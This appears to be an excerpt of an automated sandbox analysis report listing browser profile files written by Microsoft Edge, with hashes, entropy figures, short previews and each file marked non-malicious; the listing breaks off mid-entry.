SSDEEP:	6:HApF+Ehq1923oH+TcwtE/a252KLlVApF+bAq2P923oH+TcwtE/a2ZIFUv:gDfYeb8xLo7v4Yeb8J2FUv
MD5:	6B936D57F99EF1CC815E31795074C891
SHA1:	02ED8EFFD8B1121497CD5BD5DFAF9A9EE5D9C173
SHA-256:	268897684917AED91A8A7CFC4EF67734904D738D468A69782F0FB73F399EEBED
SHA-512:	0B47F2DCD4465C3CB3625E206132A9EF589122B44A4B4AC1C4007D15186A6C0FD54093FA607FB5773C47CC460BF0EC2DE570669989AF746985D59EFF5468BF93
Malicious:	false
Preview:	2024/11/25-12:28:44.732 1d60 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-12:28:44.758 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578642668484316
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgNv:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFl
MD5:	9634DAEC7324A3176656E49B2D9E9270
SHA1:	C3B05C8E1E4D6C8FE5C1DCC97B9CF13643691F86
SHA-256:	321D4C071D4BE9EF4B2259436EAFDF905DAD89992E2CC6CF87A1AEDE6D674F73
SHA-512:	8B9AAFD7A88C136ADE6D048FC2B189507BA1ED7A523C5E4B33B8E2D177CD7A084DE14AC093E365781EE694B5E35CA9046D3CB9E5A95E0F38F2D8965AA60AC200
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.385614285992856
Encrypted:	false
SSDEEP:	3072:lXbe2SYlC4yvwy2/6FbL/RwMS1UTbtVUYkWhvm:IvwV6VL/eRybQsO
MD5:	FBB4E5A11E91055DE92AA7745222A348
SHA1:	29CB9A76396A123A5D25E87481A2D47EC35194CC
SHA-256:	DD10C40AC7A98B81A2784C8F3BB78E47B81512633710698103725D2CA6EDE6F2
SHA-512:	FFADDFB0005028FBFAB912B6B51FC43C78D8D6091ADEDAFC61F453264BA282153BAF68A9828B09BC8678CD463297FD161B5A92FF3942D7EB65059FB56863B3A6
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.p........,T.8..`,.....L`.....,T...`......L`......RcF.yq....exports...Rc:=Oj....module....Rcj..B....define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.b\|gTb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:qNr9Xl/ly/l9/lxE0tlla/lJF8P+:qNrNmO0gI2
MD5:	1D88921AC92E67581E431DAADC584979
SHA1:	86065382AFF8E621DFF5D5DCA8CE466EB6FB2DC1
SHA-256:	1229C8FC235A1E998DFA928A39629276A3550EE932BED8FF0965CB78EDB1F415
SHA-512:	5D249E3CBCD371C569800042CB677844A6DFDCBC8C07649778E37C675B1482D9C5752D0FD7CF7F36E35AC690AAA72CB21EF939FC6E2CC8641116F89751CEB5AF
Malicious:	false
Preview:	@....h..oy retne.........................X....,................6F.YV./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:qNr9Xl/ly/l9/lxE0tlla/lJF8P+:qNrNmO0gI2
MD5:	1D88921AC92E67581E431DAADC584979
SHA1:	86065382AFF8E621DFF5D5DCA8CE466EB6FB2DC1
SHA-256:	1229C8FC235A1E998DFA928A39629276A3550EE932BED8FF0965CB78EDB1F415
SHA-512:	5D249E3CBCD371C569800042CB677844A6DFDCBC8C07649778E37C675B1482D9C5752D0FD7CF7F36E35AC690AAA72CB21EF939FC6E2CC8641116F89751CEB5AF
Malicious:	false
Preview:	@....h..oy retne.........................X....,................6F.YV./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4173d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:qNr9Xl/ly/l9/lxE0tlla/lJF8P+:qNrNmO0gI2
MD5:	1D88921AC92E67581E431DAADC584979
SHA1:	86065382AFF8E621DFF5D5DCA8CE466EB6FB2DC1
SHA-256:	1229C8FC235A1E998DFA928A39629276A3550EE932BED8FF0965CB78EDB1F415
SHA-512:	5D249E3CBCD371C569800042CB677844A6DFDCBC8C07649778E37C675B1482D9C5752D0FD7CF7F36E35AC690AAA72CB21EF939FC6E2CC8641116F89751CEB5AF
Malicious:	false
Preview:	@....h..oy retne.........................X....,................6F.YV./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7263
Entropy (8bit):	3.3714316496825103
Encrypted:	false
SSDEEP:	192:EudE12yv53T06/VhK9Xp+PKi+5SLl9iSrj4Qej6t:U2yv53TU9Xp+Sr5SLl9iSrcN+
MD5:	CDE2731687FC20B28B82D7F04960C055
SHA1:	11EF18CE49C29AA105D601215A291CCDE7763818
SHA-256:	82D596FCD18E0AB196D4E4DBF7AD836886BA30BC755788FBD1EF0F03B3DC04C0
SHA-512:	61BE73CD7BC6205ABB4BA0F31B86DAEE06545197D67047552ACF109FDDEE0E92A5DC145C696E78E917151D03CD5C5E2FD1AC4492E63FF94654315E7FD0A9A898
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-7b3b872d_5ebc_4c4d_a52f_68705b842355-https://ntp.msn.com/.0V.e................V.e................V.e................V.e.....................................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.h.v.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.a.d.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.e.,.p.r.e.p.r.g.-.1.s.w.-.s.a.c.f.x.2.-.e.n.-.n.s.f.r.e.q.-.t.2.,.p.r.g.-.1.s.w.-.s.a.m.u.l.p.o.s.n.e.g.r.e.l.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.s.p.5.-.t.4.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.136156839162477
Encrypted:	false
SSDEEP:	6:HApFMQuB0SQL+q2P923oH+TcwtrQMxIFUt8YApFMhG1Zmw+YApFMrQLVkwO923oM:gqB0jyv4YebCFUt87z/+7ZR5LYebtJ
MD5:	018267494F1D11A475B666D22C98F23D
SHA1:	D2A609162B8B48D6CDE90AC3A1CE5743CF14E931
SHA-256:	4812EF2E085F8DEEE994ECDD799DAB3E6B0EE1EC1613A4F12A87A57B4C339AC9
SHA-512:	5B47647D89DBA5A89C6FC301DB42DFF699FE9A82561972386AFCC01F4AB5FAC2DE7BE1D9FB9C96B6A79FAE118D246FF196CCB894C282580BA3B1339385AADB88
Malicious:	false
Preview:	2024/11/25-12:28:26.169 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-12:28:26.170 1da8 Recovering log #3.2024/11/25-12:28:26.172 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.136156839162477
Encrypted:	false
SSDEEP:	6:HApFMQuB0SQL+q2P923oH+TcwtrQMxIFUt8YApFMhG1Zmw+YApFMrQLVkwO923oM:gqB0jyv4YebCFUt87z/+7ZR5LYebtJ
MD5:	018267494F1D11A475B666D22C98F23D
SHA1:	D2A609162B8B48D6CDE90AC3A1CE5743CF14E931
SHA-256:	4812EF2E085F8DEEE994ECDD799DAB3E6B0EE1EC1613A4F12A87A57B4C339AC9
SHA-512:	5B47647D89DBA5A89C6FC301DB42DFF699FE9A82561972386AFCC01F4AB5FAC2DE7BE1D9FB9C96B6A79FAE118D246FF196CCB894C282580BA3B1339385AADB88
Malicious:	false
Preview:	2024/11/25-12:28:26.169 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-12:28:26.170 1da8 Recovering log #3.2024/11/25-12:28:26.172 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377029307817533

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8398872553492294
Encrypted:	false
SSDEEP:	24:3EGuDEoRyePqpsAF4unxItLp3X2amEtG1ChqblZAdNREdA3AQKkOAM4:3EGuDEyGzFGLp2FEkChYl+LEdA3RHOp
MD5:	88716A2304CE7AE21F3209F9709C39AF
SHA1:	0191ABB7646D5229F2ADB0B42C119AC64A943DC7
SHA-256:	D40D1DCE93D5B1A30641D773F6C62246D6DFD5B17226BBF2B9821A4B94B64F1B
SHA-512:	5786D770EEBCB8FABB8F8DA039A1717ECBC5B3D0F751C5DBF7E68740F87E8BAFB226EE4E6D6F982F4AAD959B39E52C9E80252193A71DE3189AAA92A5610BBA69
Malicious:	false
Preview:	SNSS.........f}.............f}......"..f}.............f}.........f}.........f}.........f}....!....f}.................................f}..f}1..,.....f}$...7b3b872d_5ebc_4c4d_a52f_68705b842355.....f}.........f}.................f}.....f}.........................f}....................5..0.....f}&...{98952893-68FF-4A5D-A164-705C709ED3DB}.......f}............f}.........................f}.............f}........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........M...'...M...'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.158854107567559
Encrypted:	false
SSDEEP:	6:HApFmWcbV+q2P923oH+Tcwt7Uh2ghZIFUt8YApFmWcbBZmw+YApFmWcXkFNVkwOZ:gM+v4YebIhHh2FUt87M/+74MNV5LYebs
MD5:	BCE9AA2701563DA4E4F5A7757B236DA1
SHA1:	581FC5AF0FCD0C373BCE5E75CF155DE95E2BB7C2
SHA-256:	382481E831860BE90E55A53A35635B8685B8854A0BFC132BCB4E49988DDDD20F
SHA-512:	45231027670D591AD66282E84713CC8EE8DC73561CAFB6CD47C73280D11CB74217BD4F9D705A9105DE22D309A8E502EF7292ECC905F9E70BE991D7ADAA8CBF98
Malicious:	false
Preview:	2024/11/25-12:28:25.391 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-12:28:25.391 1d7c Recovering log #3.2024/11/25-12:28:25.392 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.158854107567559
Encrypted:	false
SSDEEP:	6:HApFmWcbV+q2P923oH+Tcwt7Uh2ghZIFUt8YApFmWcbBZmw+YApFmWcXkFNVkwOZ:gM+v4YebIhHh2FUt87M/+74MNV5LYebs
MD5:	BCE9AA2701563DA4E4F5A7757B236DA1
SHA1:	581FC5AF0FCD0C373BCE5E75CF155DE95E2BB7C2
SHA-256:	382481E831860BE90E55A53A35635B8685B8854A0BFC132BCB4E49988DDDD20F
SHA-512:	45231027670D591AD66282E84713CC8EE8DC73561CAFB6CD47C73280D11CB74217BD4F9D705A9105DE22D309A8E502EF7292ECC905F9E70BE991D7ADAA8CBF98
Malicious:	false
Preview:	2024/11/25-12:28:25.391 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-12:28:25.391 1d7c Recovering log #3.2024/11/25-12:28:25.392 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.2126426038768745
Encrypted:	false
SSDEEP:	12:gnFyv4YebvqBQFUt870Q/+7UHR5LYebvqBvJ:eY4YebvZg8TDLYebvk
MD5:	3199E3E0FC70FEA6E01D9F0C1A1CFE21
SHA1:	84882B66451D02CCD6AB760A6789548BF32DEF2A
SHA-256:	8AF877FDBB3794F3E4AA00E2FC58E67C17C7B9B2B9A4992BD73B4A4AA5C5A351
SHA-512:	68E430C54E8E5EF76FABD5FB6349D27B5595EB1AA4E72C57A1634313E1B2BBCF4491739D78266D8799A6A6DAD47CF6A48658EC177251B20C4CAF5590A313C408
Malicious:	false
Preview:	2024/11/25-12:28:26.244 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-12:28:26.246 1da8 Recovering log #3.2024/11/25-12:28:26.250 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.2126426038768745
Encrypted:	false
SSDEEP:	12:gnFyv4YebvqBQFUt870Q/+7UHR5LYebvqBvJ:eY4YebvZg8TDLYebvk
MD5:	3199E3E0FC70FEA6E01D9F0C1A1CFE21
SHA1:	84882B66451D02CCD6AB760A6789548BF32DEF2A
SHA-256:	8AF877FDBB3794F3E4AA00E2FC58E67C17C7B9B2B9A4992BD73B4A4AA5C5A351
SHA-512:	68E430C54E8E5EF76FABD5FB6349D27B5595EB1AA4E72C57A1634313E1B2BBCF4491739D78266D8799A6A6DAD47CF6A48658EC177251B20C4CAF5590A313C408
Malicious:	false
Preview:	2024/11/25-12:28:26.244 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-12:28:26.246 1da8 Recovering log #3.2024/11/25-12:28:26.250 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2592f1be-4665-43ba-82d6-d373343ea5c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7f8ebbdc-d330-4ca5-af27-104c60f35051.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\95b72a2c-efd3-44f1-a62e-51409514a91d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a672.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
